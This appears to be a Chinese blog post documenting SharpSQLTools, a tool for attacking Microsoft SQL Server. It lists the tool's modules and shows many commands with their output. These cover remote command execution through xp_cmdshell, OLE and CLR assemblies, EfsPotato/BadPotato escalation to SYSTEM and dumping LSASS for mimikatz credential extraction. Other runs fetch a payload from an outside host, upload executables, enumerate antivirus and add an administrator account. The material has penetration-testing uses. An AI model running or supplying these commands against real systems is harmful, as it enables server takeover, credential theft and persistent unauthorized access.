这篇文章上次修改于 1813 天前，可能其部分内容已经发生变化，如有疑问可询问作者。 ### **0x0 小工具SharpSQLTools** >SharpSQLTools.exe ip sa sa master install_clr whoami  >SharpSQLTools.exe ip sa sa master enable_clr  > SharpSQLTools.exe ip sa sa master clr_efspotato whoami  ### **0x1 SharpSQLTools Usage** ```shell SharpSQLTools.exe _____ _ _____ ____ _ _______ _ / ____| | / ____|/ __ \| | |__ __| | | | (___ | |__ __ _ _ __ _ __| (___ | | | | | | | ___ ___ | |___ \___ \| '_ \ / _` | '__| '_ \\___ \| | | | | | |/ _ \ / _ \| / __| ____) | | | | (_| | | | |_) |___) | |__| | |____| | (_) | (_) | \__ \ |_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/ | | |_| by Rcoil & Uknow Usage: SharpSQLTools target:port username password database - interactive console SharpSQLTools target:port username password database module command - non-interactive console Module: enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_oacreate {cmd} - executes cmd using sp_oacreate enable_ole - you know what it means disable_ole - you know what it means upload {local} {remote} - upload a local file to a remote path (OLE required) download {remote} {local} - download a remote file to a local path enable_clr - you know what it means disable_clr - you know what it means install_clr - create assembly and procedure uninstall_clr - drop clr clr_pwd - print current directory by clr clr_ls {directory} - list files by clr clr_cd {directory} - change directory by clr clr_ps - list process by clr clr_netstat - netstat by clr clr_ping {host} - ping by clr clr_cat {file} - view file contents by clr clr_rm {file} - delete file by clr clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami clr_efspotato {cmd} - exec by EfsPotato like clr_exec clr_badpotato {cmd} - exec by BadPotato like clr_exec clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files clr_dumplsass {path} - dumplsass by clr clr_rdp - check RDP port and Enable RDP clr_getav - get anti-virus software on this machin by clr clr_adduser {user} {pass} - add user by clr clr_download {url} {path} - download file from url by clr clr_scloader {code} {key} - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin) clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader exit - terminates the server process (and this session) ``` #### **xp_cmdshell执行命令** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell master whoami [*] Database connection is successful! nt authority\system ``` #### **sp_oacreate执行命令** ```shell λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami" [*] Database connection is successful! nt service\mssqlserver ``` #### **sp_oacreate执行命令** ```shell λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami" [*] Database connection is successful! nt service\mssqlserver ``` #### **clr执行命令** ```shell λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec whoami [*] Database connection is successful! [+] Process: cmd.exe [+] arguments: /c whoami [+] RunCommand: cmd.exe /c whoami nt service\mssql$sqlexpress λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\windows/system32\whoami.exe [*] Database connection is successful! [+] Process: c:\windows/system32\whoami.exe [+] arguments: [+] RunCommand: c:\windows/system32\whoami.exe nt service\mssql$sqlexpress λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec -p c:\cmd.exe -a /c whoami [*] Database connection is successful! [+] Process: c:\cmd.exe [+] arguments: /c whoami [+] RunCommand: c:\cmd.exe /c whoami nt service\mssql$sqlexpress ``` #### **clr_efspotato or clr_badpotato** ```shell λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato whoami [*] Database connection is successful! Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. [+] Current user: NT AUTHORITY\NETWORK SERVICE [+] Get Token: 3352 [+] Command : c:\Windows\System32\cmd.exe /c whoami [!] process with pid: 2012 created. ============================== nt authority\system λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\windows/system32\whoami.exe [*] Database connection is successful! Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. [+] Current user: NT AUTHORITY\NETWORK SERVICE [+] Get Token: 3084 [+] Command : c:\windows/system32\whoami.exe [!] process with pid: 164 created. ============================== nt authority\system λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\cmd.exe -a /c whoami [*] Database connection is successful! Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. [+] Current user: NT AUTHORITY\NETWORK SERVICE [+] Get Token: 3124 [+] Command : c:\cmd.exe /c whoami [!] process with pid: 2080 created. ============================== nt authority\system ``` #### **clr_dumplsass** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_dumplsass [*] Database connection is successful! [*] Dumping lsass (488) to C:\Windows\Temp\debug488.out [+] Dump successful! [*] Compressing C:\Windows\Temp\debug488.out to C:\Windows\Temp\debug488.bin gzip file [X] Output file 'C:\Windows\Temp\debug488.bin' already exists, removing [*] Deleting C:\Windows\Temp\debug488.out [+] Dumping completed. Rename file to "debug488.gz" to decompress. [*] Operating System : Windows Server 2008 R2 Standard [*] Architecture : AMD64 [*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch ``` #### **clr_download** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_download "http://192.168.28.185:8001/clac.bin" "c:\Users\Public\Downloads\test.bin" [*] Database connection is successful! [*] Download success ``` #### **upload** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master upload C:\Users\Pentest\Desktop\test\usc.exe c:\Users\Public\Downloads\11.exe [*] Database connection is successful! [*] Uploading 'C:\Users\Pentest\Desktop\test\usc.exe' to 'c:\Users\Public\Downloads\11.exe'... [+] 7-1 Upload completed [+] 7-2 Upload completed [+] 7-3 Upload completed [+] 7-4 Upload completed [+] 7-5 Upload completed [+] 7-6 Upload completed [+] 7-7 Upload completed [+] copy /b c:\Users\Public\Downloads\11.exe_x.config_txt c:\Users\Public\Downloads\11.exe [+] del c:\Users\Public\Downloads\*.config_txt [*] 'C:\Users\Pentest\Desktop\test\usc.exe' Upload completed ``` #### **download** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt [*] Database connection is successful! [*] Downloading 'c:\Users\Public\Downloads\t.txt' to 'C:\Users\Pentest\Desktop\test\t.txt'... [*] 'c:\Users\Public\Downloads\t.txt' Download completed ``` #### **clr_getav 获取杀毒软件列表** ```shell λ SharpSQLTools.exe 192.168.0.103 sa 1qaz@WSX master "clr_getav" [*] Database connection is successful! [*] Finding.... [>] proName: wdswfsafe appName: 360杀毒-网盾 [*] Finish! ``` #### **clr_adduser 添加管理员** ```shell λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_adduser test1234 1qaz@WSX [*] Database connection is successful! [*] Adding User success [*] Adding Group Member success ``` Tool Link:https://github.com/uknowsec/SharpSQLTools/
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